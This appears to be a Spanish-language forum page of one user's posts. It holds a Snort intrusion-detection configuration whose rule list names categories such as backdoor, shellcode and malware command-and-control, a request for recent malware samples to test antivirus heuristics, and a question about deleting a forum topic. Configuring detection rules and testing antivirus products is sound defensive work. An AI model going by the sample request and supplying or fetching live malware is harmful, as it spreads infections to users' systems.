# DNS anomaly detection. For more information, see README.dns preprocessor dns: ports { 53 } enable_rdata_overflow
# SSL anomaly detection and traffic bypass. For more information, see README.ssl preprocessor ssl: ports { 443 465 563 636 989 992 993 994 995 7801 7802 7900 7901 7902 7903 7904 7905 7906 7907 7908 7909 7910 7911 7912 7913 7914 7915 7916 7917 7918 7919 7920 }, trustservers, noinspect_encrypted
# SDF sensitive data preprocessor. For more information see README.sensitive_data preprocessor sensitive_data: alert_threshold 25
# SIP Session Initiation Protocol preprocessor. For more information see README.sip preprocessor sip: max_sessions 40000, \ ports { 5060 5061 5600 }, \ methods { invite \ cancel \ ack \ bye \ register \ options \ refer \ subscribe \ update \ join \ info \ message \ notify \ benotify \ do \ qauth \ sprack \ publish \ service \ unsubscribe \ prack }, \ max_uri_len 512, \ max_call_id_len 80, \ max_requestName_len 20, \ max_from_len 256, \ max_to_len 256, \ max_via_len 1024, \ max_contact_len 512, \ max_content_len 2048
# IMAP preprocessor. For more information see README.imap preprocessor imap: \ ports { 143 } \ b64_decode_depth 0 \ qp_decode_depth 0 \ bitenc_decode_depth 0 \ uu_decode_depth 0
# POP preprocessor. For more information see README.pop preprocessor pop: \ ports { 110 } \ b64_decode_depth 0 \ qp_decode_depth 0 \ bitenc_decode_depth 0 \ uu_decode_depth 0
# Modbus preprocessor. For more information see README.modbus preprocessor modbus: ports { 502 }
# DNP3 preprocessor. For more information see README.dnp3 preprocessor dnp3: ports { 20000 } \ memcap 262144 \ check_crc
# Reputation preprocessor. For more information see README.reputation preprocessor reputation: \ memcap 500, \ priority whitelist, \ nested_ip inner, \ whitelist $WHITE_LIST_PATH/white_list.rules, \ blacklist $BLACK_LIST_PATH/black_list.rules
################################################### # Step #6: Configure output plugins # For more information, see Snort Manual, Configuring Snort - Output Modules ###################################################
# unified2 # Recommended for most installs # output unified2: filename merged.log, limit 128, nostamp, mpls_event_types, vlan_event_types
# Additional configuration for specific types of installs # output alert_unified2: filename snort.alert, limit 128, nostamp # output log_unified2: filename snort.log, limit 128, nostamp
# syslog # output alert_syslog: LOG_AUTH LOG_ALERT
# pcap # output log_tcpdump: tcpdump.log
# metadata reference data. do not modify these lines include classification.config include reference.config
################################################### # Step #7: Customize your rule set # For more information, see Snort Manual, Writing Snort Rules # # NOTE: All categories are enabled in this conf file ###################################################
# site specific rules include $RULE_PATH/local.rules
include $RULE_PATH/app-detect.rules include $RULE_PATH/attack-responses.rules include $RULE_PATH/backdoor.rules include $RULE_PATH/bad-traffic.rules include $RULE_PATH/blacklist.rules include $RULE_PATH/botnet-cnc.rules include $RULE_PATH/browser-chrome.rules include $RULE_PATH/browser-firefox.rules include $RULE_PATH/browser-ie.rules include $RULE_PATH/browser-other.rules include $RULE_PATH/browser-plugins.rules include $RULE_PATH/browser-webkit.rules include $RULE_PATH/chat.rules include $RULE_PATH/content-replace.rules include $RULE_PATH/ddos.rules include $RULE_PATH/dns.rules include $RULE_PATH/dos.rules include $RULE_PATH/experimental.rules include $RULE_PATH/exploit-kit.rules include $RULE_PATH/exploit.rules include $RULE_PATH/file-executable.rules include $RULE_PATH/file-flash.rules include $RULE_PATH/file-identify.rules include $RULE_PATH/file-image.rules include $RULE_PATH/file-multimedia.rules include $RULE_PATH/file-office.rules include $RULE_PATH/file-other.rules include $RULE_PATH/file-pdf.rules include $RULE_PATH/finger.rules include $RULE_PATH/ftp.rules include $RULE_PATH/icmp-info.rules include $RULE_PATH/icmp.rules include $RULE_PATH/imap.rules include $RULE_PATH/indicator-compromise.rules include $RULE_PATH/indicator-obfuscation.rules include $RULE_PATH/indicator-shellcode.rules include $RULE_PATH/info.rules include $RULE_PATH/malware-backdoor.rules include $RULE_PATH/malware-cnc.rules include $RULE_PATH/malware-other.rules include $RULE_PATH/malware-tools.rules include $RULE_PATH/misc.rules include $RULE_PATH/multimedia.rules include $RULE_PATH/mysql.rules include $RULE_PATH/netbios.rules include $RULE_PATH/nntp.rules include $RULE_PATH/oracle.rules include $RULE_PATH/os-linux.rules include $RULE_PATH/os-other.rules include $RULE_PATH/os-solaris.rules include $RULE_PATH/os-windows.rules include $RULE_PATH/other-ids.rules include $RULE_PATH/p2p.rules include $RULE_PATH/phishing-spam.rules include $RULE_PATH/policy-multimedia.rules include $RULE_PATH/policy-other.rules include $RULE_PATH/policy.rules include $RULE_PATH/policy-social.rules include $RULE_PATH/policy-spam.rules include $RULE_PATH/pop2.rules include $RULE_PATH/pop3.rules include $RULE_PATH/protocol-finger.rules include $RULE_PATH/protocol-ftp.rules include $RULE_PATH/protocol-icmp.rules include $RULE_PATH/protocol-imap.rules include $RULE_PATH/protocol-pop.rules include $RULE_PATH/protocol-services.rules include $RULE_PATH/protocol-voip.rules include $RULE_PATH/pua-adware.rules include $RULE_PATH/pua-other.rules include $RULE_PATH/pua-p2p.rules include $RULE_PATH/pua-toolbars.rules include $RULE_PATH/rpc.rules include $RULE_PATH/rservices.rules include $RULE_PATH/scada.rules include $RULE_PATH/scan.rules include $RULE_PATH/server-apache.rules include $RULE_PATH/server-iis.rules include $RULE_PATH/server-mail.rules include $RULE_PATH/server-mssql.rules include $RULE_PATH/server-mysql.rules include $RULE_PATH/server-oracle.rules include $RULE_PATH/server-other.rules include $RULE_PATH/server-webapp.rules include $RULE_PATH/shellcode.rules include $RULE_PATH/smtp.rules include $RULE_PATH/snmp.rules include $RULE_PATH/specific-threats.rules include $RULE_PATH/spyware-put.rules include $RULE_PATH/sql.rules include $RULE_PATH/telnet.rules include $RULE_PATH/tftp.rules include $RULE_PATH/virus.rules include $RULE_PATH/voip.rules include $RULE_PATH/web-activex.rules include $RULE_PATH/web-attacks.rules include $RULE_PATH/web-cgi.rules include $RULE_PATH/web-client.rules include $RULE_PATH/web-coldfusion.rules include $RULE_PATH/web-frontpage.rules include $RULE_PATH/web-iis.rules include $RULE_PATH/web-misc.rules include $RULE_PATH/web-php.rules include $RULE_PATH/x11.rules
################################################### # Step #8: Customize your preprocessor and decoder alerts # For more information, see README.decoder_preproc_rules ###################################################
# decoder and preprocessor event rules # include $PREPROC_RULE_PATH/preprocessor.rules # include $PREPROC_RULE_PATH/decoder.rules # include $PREPROC_RULE_PATH/sensitive-data.rules
################################################### # Step #9: Customize your Shared Object Snort Rules # For more information, see http://vrt-blog.snort.org/2009/01/using-vrt-certified-shared-object-rules.html ###################################################
# dynamic library rules include $SO_RULE_PATH/bad-traffic.rules include $SO_RULE_PATH/chat.rules include $SO_RULE_PATH/dos.rules include $SO_RULE_PATH/exploit.rules include $SO_RULE_PATH/icmp.rules include $SO_RULE_PATH/imap.rules include $SO_RULE_PATH/misc.rules include $SO_RULE_PATH/multimedia.rules include $SO_RULE_PATH/netbios.rules include $SO_RULE_PATH/nntp.rules include $SO_RULE_PATH/p2p.rules include $SO_RULE_PATH/smtp.rules include $SO_RULE_PATH/snmp.rules include $SO_RULE_PATH/specific-threats.rules include $SO_RULE_PATH/web-activex.rules include $SO_RULE_PATH/web-client.rules include $SO_RULE_PATH/web-iis.rules include $SO_RULE_PATH/web-misc.rules
# Event thresholding or suppression commands. See threshold.conf include threshold.conf Nota: los códigos se encierran en la etiqueta [code][/code]
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7
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Seguridad Informática / Análisis y Diseño de Malware / ¿Alguien conoce páginas peligrosas donde pueda contaminar mi PC?
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en: 7 Enero 2015, 15:16 pm
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Antes que nada pido disculpa si este tema está en la sección incorrecta. Bien, estoy realizando pruebas a la heurística de algunos antivirus con ejemplares de Spyware, virus, troyanos, gusanos y rootkits, para lo cual he descarga muestras desde http://vxheaven.org/vl.php y otras fuentes, los antivirus que estoy empleando para ello son Avast, AVG, Avira, Kaspersky, Mcafee y Panda tanto en Linux como en Windows. Las muestras que poseo parecen ser muy viejas, las versiones de los antivirus que estoy empleando son las últimas de cada producto desactualizadas afín de poner a prueba la heurística, aun así parece que la base de firmas que se instala junto al software posee cadenas de reconocimientos para cada una de las muestras que he empleado. Les agradecería si pueden ayudarme con muestras recientes, por ejemplo noviembre o diciembre de 2014. De antemano muchas gracias.
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9
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Foros Generales / Sugerencias y dudas sobre el Foro / ¿Cómo elimino un tema del foro?
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en: 13 Julio 2014, 21:44 pm
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Buenas tardes, no sé si les ha pasado pero estoy intentando eliminar un tema que cree, la información está mal ubicada y lamentablemente no tengo la opción de borrarla, en la parte superior derecha me aparece una x pero al darle no realiza ninguna acción, solo me perite editar.
Gracias.
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